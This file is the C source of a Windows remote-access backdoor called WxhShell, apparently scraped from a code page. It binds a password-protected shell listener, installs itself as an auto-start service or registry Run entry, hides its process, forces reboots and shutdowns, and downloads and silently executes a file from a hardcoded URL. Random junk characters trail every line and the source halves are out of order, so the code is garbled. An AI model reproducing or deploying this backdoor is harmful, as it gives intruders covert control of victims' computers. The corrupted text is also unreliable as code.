    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J0f!+]~G3  
    else { =eS?`|  
    closesocket(wsh); 0dsL%G~/N  
    ExitThread(0); RH7!3ye  
    } zFDtC-GF  
    break; RZVZ#q(DU  
    } n'j}u  
  // 获取shell :)4c_51 `  
  case 's': { Z:<wB#G  
    CmdShell(wsh); X>pCkGE  
    closesocket(wsh); "1>w\21  
    ExitThread(0); 'n"we# [  
    break; 0k_3]Li=(  
  } `PeC,bp  
  // 退出 g-u4E^,*|  
  case 'x': { )p#L"r^)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wi%ls8F  
    CloseIt(wsh); XL;WU8>  
    break; ePR9r}  
    } j4`+RS+q  
  // 离开 9D,!]  
  case 'q': { j,9/eZRZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I(k(p\l%  
    closesocket(wsh); $tc1 te  
    WSACleanup(); |#BN!kc  
    exit(1); ^xScVOdP  
    break; L&=r-\.ev  
        } m;1/+qs0  
  } 1`s^r+11:  
  } 6Z=Qs=q  
e_l|32#/  
  // 提示信息 (!efaj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TI2K_'  
} 2qVoe}F  
  } 0DnOO0Nc  
f<oU" WM  
  return; Vo.~1^  
} fo~*Bp()-E  
WCk. K  
// shell模块句柄 C1l'<  
int CmdShell(SOCKET sock) \"L0d1DK)  
{ +T4}wm  
STARTUPINFO si; Q`;eI a6U  
ZeroMemory(&si,sizeof(si));  !I&,!$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P1^|r}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3xdJ<Lrq  
PROCESS_INFORMATION ProcessInfo; Q W c^}#!!  
char cmdline[]="cmd"; pp{p4Z   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V[Sj+&e&  
  return 0; a2]ZYY`R7  
} %] :ZAmN  
_7qa~7?f  
// 自身启动模式 RE D@|[Qh  
int StartFromService(void) H4T~Kv  
{ #, 1)@[  
typedef struct <u],R.S)  
{ Bva2f:)K|  
  DWORD ExitStatus; sO(4F8cpU  
  DWORD PebBaseAddress; VfDa>zV3  
  DWORD AffinityMask; zMO#CZ t  
  DWORD BasePriority; ;|$oz{Ll  
  ULONG UniqueProcessId; Z( "-7_  
  ULONG InheritedFromUniqueProcessId; w8:  
}   PROCESS_BASIC_INFORMATION; Z.x]6  
8GjETq%}  
PROCNTQSIP NtQueryInformationProcess; 9x8Vsd  
9d( M%F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (J%>{?"ij  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6hcK%0z  
@o#Yq n3Y  
  HANDLE             hProcess; Nz*,m'-1e  
  PROCESS_BASIC_INFORMATION pbi; to1r 88X  
*WFd[cKE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L`w r~E2u  
  if(NULL == hInst ) return 0; Br{(sL0e  
L8Z@Dk7Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p-w:l*-`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {9Ok^O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JBZ1DZAWC  
f/\S:x-B  
  if (!NtQueryInformationProcess) return 0; 7[K3kUm[  
BJ'pe[Xa5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y%|dM/a`  
  if(!hProcess) return 0; [7LdTY"Tl  
D,lY_6=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5Fj9.K~k  
Dbq/t^  
  CloseHandle(hProcess); 2|WM?V&  
iE_[]Vgc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ma<uXq  
if(hProcess==NULL) return 0; 6R$Yh0%  
o-AF_N  
HMODULE hMod; ]ZW-`UMO  
char procName[255]; |B'4wF>  
unsigned long cbNeeded; O?"uM>r  
myqwU`s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %3"U|Za+   
;mGPX~38  
  CloseHandle(hProcess); iC>%P&|-)|  
7fSNF7/+  
if(strstr(procName,"services")) return 1; // 以服务启动 Je2&7uR0  
!#*#jixo  
  return 0; // 注册表启动 BpX`49  
} fBz|-I:k +  
@0C[o9  
// 主模块 CPeu="[  
int StartWxhshell(LPSTR lpCmdLine) NpKyrXDJv  
{ dD~H ft  
  SOCKET wsl; f5{|_]q]  
BOOL val=TRUE; <r>Sj /w<D  
  int port=0; 2dHsM'ze  
  struct sockaddr_in door; x'OP0],#  
* {~`Lw)y  
  if(wscfg.ws_autoins) Install(); _IV!9 JL  
q"DHMZB  
port=atoi(lpCmdLine); dxH\H?NO  
x(4"!#  
if(port<=0) port=wscfg.ws_port; V[WL S?-)  
%W=BdGr[8z  
  WSADATA data; YU)%-V\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G]EI!-y  
0S'@(p[A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~Cg7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PX2b(fR8_O  
  door.sin_family = AF_INET; iWFtb)3B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >ke.ZZV?  
  door.sin_port = htons(port); oR,zr  
|-S+x]9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'O.f}m SS  
closesocket(wsl); & BY\h:  
return 1; %4V$')rek  
} "9"  
%B1)mA;  
  if(listen(wsl,2) == INVALID_SOCKET) { "M\rO!f:  
closesocket(wsl); F#RNm5  
return 1; x2r.4  
} BSB&zp  
  Wxhshell(wsl); q bCU&G|)  
  WSACleanup(); f1elzANy  
:PY6J}:&#  
return 0; 1CSGG'J]E  
]\oT({$6B  
} j8PeO&n>  
!>=lah$&  
// 以NT服务方式启动 U /~uu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q8;MPXSG3  
{ 4`fV_H.8  
DWORD   status = 0; k'PvQl"I  
  DWORD   specificError = 0xfffffff; a^E>LJL  
Sl'$w4s   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~-uf%=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jvD_{r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `-R&4%t%  
  serviceStatus.dwWin32ExitCode     = 0; #3{}(T7  
  serviceStatus.dwServiceSpecificExitCode = 0; (NDC9Lls  
  serviceStatus.dwCheckPoint       = 0; J4U_utp  
  serviceStatus.dwWaitHint       = 0; G51-CLM,  
7/k7V)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /"m#mh L  
  if (hServiceStatusHandle==0) return; ?z6K/'?  
B!8X?8D  
status = GetLastError(); 8faT@J'e;  
  if (status!=NO_ERROR) $ <C",&  
{ iQT0%WaHl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }~ N\A  
    serviceStatus.dwCheckPoint       = 0; Ea'jAIFPpO  
    serviceStatus.dwWaitHint       = 0; \/gf_R_GN  
    serviceStatus.dwWin32ExitCode     = status; 05\0g9  
    serviceStatus.dwServiceSpecificExitCode = specificError; .a(G=fk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }$qrNbLJ  
    return; skTa IGRL  
  } r$'.$k\  
]@Z nP,8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &(l.jgqg&  
  serviceStatus.dwCheckPoint       = 0; < 3*q) VT  
  serviceStatus.dwWaitHint       = 0;  7( Z9\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K ;]dZ8  
} + @|u8+  
W/WP }QM  
// 处理NT服务事件,比如:启动、停止 e6tU8`z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8t, &dq  
{ RW1+y/#%P  
switch(fdwControl) v6Y[_1  
{ rz-61A) _  
case SERVICE_CONTROL_STOP: K`uPPyv  
  serviceStatus.dwWin32ExitCode = 0; Nq\)o{<1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `.3.n8V  
  serviceStatus.dwCheckPoint   = 0; &y|PseH"  
  serviceStatus.dwWaitHint     = 0; 8g-Z~~0W1  
  { ?"<m{,yQI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *zDDi(@vtK  
  } /-m)  
  return; c;-N RvVb  
case SERVICE_CONTROL_PAUSE: *B{]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0T#z"l<L  
  break; 8fBhX,1  
case SERVICE_CONTROL_CONTINUE: #f_'&m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h6<i,1gQ1  
  break; 9=/4}!.  
case SERVICE_CONTROL_INTERROGATE: =OV5DmVmQ  
  break; HINk&)FC  
}; ]q[(z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gW4fwE^  
} nhC8Tq[m  
f<nK;  
// 标准应用程序主函数 =3SJl1w1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Cy3x-!  
{ )+8r$ i  
#Dz"g_d  
// 获取操作系统版本 p1i}fGS  
OsIsNt=GetOsVer();  cC|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V*(x@pF  
ahCwA}  
  // 从命令行安装 fk X86  
  if(strpbrk(lpCmdLine,"iI")) Install(); 02%~HBS  
JdUdl_D z  
  // 下载执行文件 TgDT  
if(wscfg.ws_downexe) { Xo[cpcV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QlR~rFs9t  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^-n^IR}J  
} iQG]v[$  
GBR$k P  
if(!OsIsNt) { B"#pvJN  
// 如果时win9x,隐藏进程并且设置为注册表启动 h)j#?\KYm9  
HideProc(); f?eq-/UR  
StartWxhshell(lpCmdLine); w2/3[VZ}l  
} )K$xu(/K  
else hu"-dT;4]  
  if(StartFromService()) C"0 VOb  
  // 以服务方式启动 )D'# >!Y  
  StartServiceCtrlDispatcher(DispatchTable); be]/ROP>H  
else 3&{6+A  
  // 普通方式启动 ;V?(j 3b[  
  StartWxhshell(lpCmdLine); 0.nkh6 ?  
!Y7$cU &  
return 0; y!R9)=/M  
} qxHn+O!h  
)dEcKH<#  
;pOV; q3j  
Bj><0 cNF  
=========================================== V6((5o#  
I!u=.[5zdC  
&0|Z FXPd  
1uG)U)y/Q  
#r?[@aJ  
P ecZuv  
" UGgo;e  
KC2Z@  
#include <stdio.h> fz|_c*&64  
#include <string.h> fGs\R]  
#include <windows.h> sMUpkU-  
#include <winsock2.h> c~OPH 0,  
#include <winsvc.h> 7 <]YK`a2d  
#include <urlmon.h> n6Uf>5  
 < ]+Mdy  
#pragma comment (lib, "Ws2_32.lib") wmXI8'~F&  
#pragma comment (lib, "urlmon.lib") z-g6d(  
u(f;4`  
#define MAX_USER   100 // 最大客户端连接数 +|pYu<OY  
#define BUF_SOCK   200 // sock buffer gae=+@z  
#define KEY_BUFF   255 // 输入 buffer 5T(cy  
7,Z<PE  
#define REBOOT     0   // 重启 ZHeq)5C ;f  
#define SHUTDOWN   1   // 关机 ;/?w-)n?  
6|3 X*Orn  
#define DEF_PORT   5000 // 监听端口 c{?SFwgd  
!Yn#3c  
#define REG_LEN     16   // 注册表键长度 dhJ=+Fz"w  
#define SVC_LEN     80   // NT服务名长度 #^9k&t#!6  
3b_/QT5!  
// 从dll定义API 0CXXCa7!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <6,,:=#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h>cjRH?e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cT/mi": 8{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R;A8y  
?P>4H0@I+  
// wxhshell配置信息 u#^l9/tl  
struct WSCFG { iPWr-  
  int ws_port;         // 监听端口 w{*V8S3h9  
  char ws_passstr[REG_LEN]; // 口令 Mk973 'K'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9h)8Mq+M  
  char ws_regname[REG_LEN]; // 注册表键名 :~srl)|)  
  char ws_svcname[REG_LEN]; // 服务名 3Zyv X]@_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v+79#qWK|n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c9CFGo?)N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .;ofRx<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jJt4{c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (RG "2I3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1MnC5[Q  
wxPl[)E  
}; d&Nji%Ej  
i^A=nsD`  
// default Wxhshell configuration P7bb2"_9  
struct WSCFG wscfg={DEF_PORT, W$;qhB  
    "xuhuanlingzhe", ,2 W=/,5A  
    1, V,'_BUl+x  
    "Wxhshell", _j0xL{&&  
    "Wxhshell", rbIYLVA+V  
            "WxhShell Service", afD {w*[8  
    "Wrsky Windows CmdShell Service", p>3QW3<  
    "Please Input Your Password: ", a;-%C{S9r  
  1, I\c7V~^hnG  
  "http://www.wrsky.com/wxhshell.exe", ONy\/lu|  
  "Wxhshell.exe" E.ji;5  
    }; #9.%>1{6Y  
t?Q bi)T=z  
// 消息定义模块 uWFyI"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;PU'"MeB "  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _FcTY5."S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UHU ,zgM  
char *msg_ws_ext="\n\rExit."; aot2F60J,  
char *msg_ws_end="\n\rQuit."; @V5i  
char *msg_ws_boot="\n\rReboot..."; @H~oOf  
char *msg_ws_poff="\n\rShutdown..."; [UC_  
char *msg_ws_down="\n\rSave to "; Iu`S0#+  
En\q. 3 5  
char *msg_ws_err="\n\rErr!"; ^q& |7Ou-  
char *msg_ws_ok="\n\rOK!"; PE/uB,Wl  
x{K"z4xbI  
char ExeFile[MAX_PATH]; dtfOFag4_  
int nUser = 0; IO=$+c  
HANDLE handles[MAX_USER]; $_TS]~y4}  
int OsIsNt; UF }[%Sa  
|mbD q\U  
SERVICE_STATUS       serviceStatus; =>evkaj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a8ouk7 G  
6oZHSjC*  
// 函数声明 ]o0]i<:  
int Install(void); WvfM.D!  
int Uninstall(void); g"kI1^[nj  
int DownloadFile(char *sURL, SOCKET wsh); tu* uQ:Ipk  
int Boot(int flag); }' Y)"8AIA  
void HideProc(void); v'Ehr**]+  
int GetOsVer(void); 6~2upy~e  
int Wxhshell(SOCKET wsl); *mJ#|3I<  
void TalkWithClient(void *cs); p8@&(+z  
int CmdShell(SOCKET sock); J` gG`?  
int StartFromService(void); V rx,'/IS8  
int StartWxhshell(LPSTR lpCmdLine); (y&sUc9  
B9$f y).Gp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GRkN0|ovfj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |>'N^   
M eep  
// 数据结构和表定义 *l"CIG'  
SERVICE_TABLE_ENTRY DispatchTable[] = zn&ZXFgN  
{ ePJ_O~c  
{wscfg.ws_svcname, NTServiceMain}, GbZ~e I`,2  
{NULL, NULL} WcY_w`*L  
}; 42 lw>gzr!  
@|wU @by{  
// 自我安装 4KR`  
int Install(void) #ley3rJW]  
{ !!V1#?0jw  
  char svExeFile[MAX_PATH]; 8Q)|8xpYS  
  HKEY key; w $-q&  
  strcpy(svExeFile,ExeFile); {7]maOg>7J  
pmWy:0R  
// 如果是win9x系统,修改注册表设为自启动 /J/V1dC}]D  
if(!OsIsNt) { ]d7A|)q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Yf*vp>T/x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (s&]V49  
  RegCloseKey(key); OPjNmdeS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }79jyS-e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2\z|/ Q  
  RegCloseKey(key); dW!El^w}  
  return 0; "M[&4'OM  
    } zp}pS2DU  
  } ]adgOlM  
} ry=8Oq&[~  
else { ~TS!5Wiv  
8]b;l; W5  
// 如果是NT以上系统,安装为系统服务 kV T |(Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sa[lYMuB  
if (schSCManager!=0) y?O-h1"3,  
{ tD}-&"REP  
  SC_HANDLE schService = CreateService 6B7*|R>  
  ( `O0Qtq.  
  schSCManager, c^pQitPv  
  wscfg.ws_svcname, 6m(? (6+;K  
  wscfg.ws_svcdisp, _,aFQ^]'9  
  SERVICE_ALL_ACCESS, N"G\ H<n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r6 3l(  
  SERVICE_AUTO_START, fpC":EX@r  
  SERVICE_ERROR_NORMAL, k+P3z&e  
  svExeFile, (hZNWQ0  
  NULL, :):vB  
  NULL, ,]:< l  
  NULL, *c/V('D/  
  NULL, m;{HlDez  
  NULL !9KDdU  
  ); W#NZnxOX"  
  if (schService!=0) \#Jq%nd  
  { -=gI_wLbM  
  CloseServiceHandle(schService); %W7%]Z@j  
  CloseServiceHandle(schSCManager); fKr_u<|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v^s?=9  
  strcat(svExeFile,wscfg.ws_svcname); 0|j44e }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G"-V6CA[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D86F5HT}}  
  RegCloseKey(key); U\qbr.<  
  return 0; YsVKdh  
    } e Ru5/y~  
  } HK<S|6B7V  
  CloseServiceHandle(schSCManager); u pUJF`3  
} {^N,$,Ab.  
} O#18a,o@  
&g23tT#P?  
return 1; WoGnJ0N q  
} ?6&G:Uz/  
KGo^>us  
// 自我卸载 $b{8 $<;9  
int Uninstall(void) JU5,\3Lz#  
{ LA59O@r  
  HKEY key; " j?xgV  
!> +Lre@  
if(!OsIsNt) { %5KK#w "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v@yqTZ  
  RegDeleteValue(key,wscfg.ws_regname); c!wRq4  
  RegCloseKey(key); dJnKa]X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~aQR_S  
  RegDeleteValue(key,wscfg.ws_regname); C6a-  
  RegCloseKey(key); 85[ 7lO)[  
  return 0; ~Y*.cGA  
  } Ank_;jo  
} dz/fSA  
} Cu24xP`  
else { m,q)lbRl  
N5=}0s]e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^mFsrw  
if (schSCManager!=0) w_@{v wM$A  
{ qk3 ~]</  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .-& =\}^2l  
  if (schService!=0) Hmhsb2`\  
  { Y:m8UnT  
  if(DeleteService(schService)!=0) { z2,NWmP|w  
  CloseServiceHandle(schService); $yj*n;  
  CloseServiceHandle(schSCManager); 2 V\hG?<  
  return 0; >!" Sr3,L  
  } Nv;'Ys P  
  CloseServiceHandle(schService); W1 xPK*  
  } GIpYx`mHi  
  CloseServiceHandle(schSCManager); y&8`NS#_p?  
} -@#],s7  
} xy!E_CuC$  
t5K#nRd Z:  
return 1; _:tS-Mx@5  
} |4j6}g\  
Z+);}>-5  
// 从指定url下载文件 dQ-g\]d|  
int DownloadFile(char *sURL, SOCKET wsh) h@ ZC{B  
{ O_th/hl  
  HRESULT hr; [qkW/qS  
char seps[]= "/"; 5MCgmF*Y2  
char *token; <_eEpG}9  
char *file; 9 4lt?|3=  
char myURL[MAX_PATH]; <im}R9eJ1  
char myFILE[MAX_PATH]; @zi0:3`#0\  
pG)dF@  
strcpy(myURL,sURL); l,b,U/3R.  
  token=strtok(myURL,seps); ,H/O"%OJ  
  while(token!=NULL) rOEBL|P0  
  { z4(\yx  
    file=token; Yqo@ g2g  
  token=strtok(NULL,seps); r<srTHGL o  
  } ^*$!9~  
IV':sNV  
GetCurrentDirectory(MAX_PATH,myFILE); 9 lG a*f)  
strcat(myFILE, "\\"); X_D-K F  
strcat(myFILE, file); f]?&R c2C  
  send(wsh,myFILE,strlen(myFILE),0); 06.8m;{N  
send(wsh,"...",3,0); w^nA/=;r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]K>bSK^TX  
  if(hr==S_OK) z%+rI  
return 0; [U^Cz{G  
else  g;AW  
return 1; "o u{bKe  
i-4L{T\K  
} 2MYez>D  
'3Fb[md54  
// 系统电源模块 N:+EGmp  
int Boot(int flag) a x;<idC}  
{ T5T[$%]6  
  HANDLE hToken; T<Zi67QC@  
  TOKEN_PRIVILEGES tkp; 5i'?oXL  
L5KcI  
  if(OsIsNt) { KY%qzq,n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]S9Z5l0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :-hVbS0I  
    tkp.PrivilegeCount = 1; S-Vxlku]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =c&.I}^1L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FdEUZ[IT`{  
if(flag==REBOOT) { ' \>k7?@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *tR'K#:&g!  
  return 0; ?/sn"~"  
} >z fx2wh\a  
else { A8S9HXL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3syA$0TZt  
  return 0; a;~< iB;3"  
} FoZI0p?L)9  
  } gy|o#&e]%  
  else { I|;zGmg#k  
if(flag==REBOOT) { ".( G,TW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &><b/,]  
  return 0; upeioC q  
} .s41Tc5u  
else { 1LvR,V<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rd]<591  
  return 0; NzM,0q  
} L %ifl:K  
} ^4\0, >  
e(b$LUV  
return 1; YG0b*QBY~  
} [Ran/D\.  
OBF-U]?Y  
// win9x进程隐藏模块 toOdL0hCe  
void HideProc(void) hV) `e"r\s  
{ N;>s|ET  
" L,9.b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .~rg#*]^  
  if ( hKernel != NULL ) KV6D0~  
  { P (Y\l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [4dX[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1Id"|/b%$  
    FreeLibrary(hKernel); @"^7ASd%  
  } JdWav!PYm  
{'{9B  
return; wHx_lsY;   
} 9 p^gF2?k  
ZIh)D[n  
// 获取操作系统版本 cdSgb3B0  
int GetOsVer(void) >+!Ef  
{ `@:TS)6X0  
  OSVERSIONINFO winfo; TpYh)=;k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pl`Nniy  
  GetVersionEx(&winfo); UL%a^' hR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {9XNh[NbP  
  return 1; pY\ =f0]  
  else 3%Q9521  
  return 0; #@1(  
} 4HGS  
ST g} Z  
// 客户端句柄模块 "i*gJFW|  
int Wxhshell(SOCKET wsl) V(io!8,  
{ "*MF=VB1  
  SOCKET wsh; vO/3bu}  
  struct sockaddr_in client; Vu E$-)&)  
  DWORD myID; HN5,MD[  
qFq$a9w|@  
  while(nUser<MAX_USER) WoNY8 8hT  
{ ]-SJ";aU  
  int nSize=sizeof(client); "o_'q@.}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,LmP >Q.  
  if(wsh==INVALID_SOCKET) return 1; Ra H1aS(  
:l iDoGDi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &rX#A@=  
if(handles[nUser]==0) C[#C/@  
  closesocket(wsh); dq'f >S z}  
else ;mwnAO  
  nUser++; %p&y/^=0I  
  } zf^|H% ~^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /Ah&d@b  
^kz(/c/?  
  return 0; L$kB(Brw  
} SZR`uS  
###>0(n  
// 关闭 socket QH,(iX6RY  
void CloseIt(SOCKET wsh) o?a3hD  
{ "QiLu=Rq  
closesocket(wsh); [9NrPm3d  
nUser--; 0 ?gHRdU"  
ExitThread(0); L2~'Z'q  
} T"gk^.  
a1_o  
// 客户端请求句柄 6Q_A-X3hk  
void TalkWithClient(void *cs) ev_'.t'  
{ Q[|*P ] w  
H3ovF  
  SOCKET wsh=(SOCKET)cs; $p$p C/:%  
  char pwd[SVC_LEN]; iJmzVR+  
  char cmd[KEY_BUFF]; fz2}M:u  
char chr[1]; E\;%,19Ob  
int i,j; &%t&[Se_~  
dB0 UZirb  
  while (nUser < MAX_USER) { Z{yH:{Vk  
u3pFH(  
if(wscfg.ws_passstr) { gxAy{ t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "VU/Ucb7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6qT-  
  //ZeroMemory(pwd,KEY_BUFF); rK:cUW0]X  
      i=0; y=EVpd  
  while(i<SVC_LEN) { UEfY'%x  
X|ZAC!J5>  
  // 设置超时 =_ b/ g  
  fd_set FdRead; K,%CE ].  
  struct timeval TimeOut; d2-oy5cEB  
  FD_ZERO(&FdRead); lmL$0{Yr  
  FD_SET(wsh,&FdRead); Fqgs S  
  TimeOut.tv_sec=8; BfVh\ lkH  
  TimeOut.tv_usec=0; G'(rjH>q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,w BfGpVb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zzz94`  
<1<xSr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6DgdS5GhT_  
  pwd=chr[0]; oVPr`]  
  if(chr[0]==0xd || chr[0]==0xa) { 4neO$^i8J  
  pwd=0; Ek6 g?rj_  
  break; SO[ u4b_"h  
  } xk7Dx}  
  i++; *kYGXT,f]  
    } N#t`ZC&m'  
MtN!Xx  
  // 如果是非法用户,关闭 socket D3P/: 4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t4/ye>P &  
} }<l:~-y|  
!@N?0@$/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DX+zK'34  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C_8_sb Z/  
Q>rr?L`  
while(1) { cY kb3(  
a }*i [  
  ZeroMemory(cmd,KEY_BUFF); rPGj+wL5-  
/@\R  
      // 自动支持客户端 telnet标准   BzO,(bd!PI  
  j=0; N@}h  
  while(j<KEY_BUFF) { ?2dI8bG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YhS_ ,3E  
  cmd[j]=chr[0]; c< MF:|(}  
  if(chr[0]==0xa || chr[0]==0xd) { =+ >>l0=_v  
  cmd[j]=0; @h!Z0}d X(  
  break; ,c{ckm  
  } i.`n^R;N  
  j++; 150-'Q  
    } N fG9a~  
$uyx  
  // 下载文件 '=#fELMW  
  if(strstr(cmd,"http://")) { >8=lX`9f{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0.w7S6v|&  
  if(DownloadFile(cmd,wsh)) UOl*wvy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n_9Ex&?e  
  else 72yJv=G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A~<!@`NjB  
  } 0< vJ*z|_  
  else { !Hl]&  
9!W$S[ABRB  
    switch(cmd[0]) { xy"'8uRi  
  $/;K<*O$  
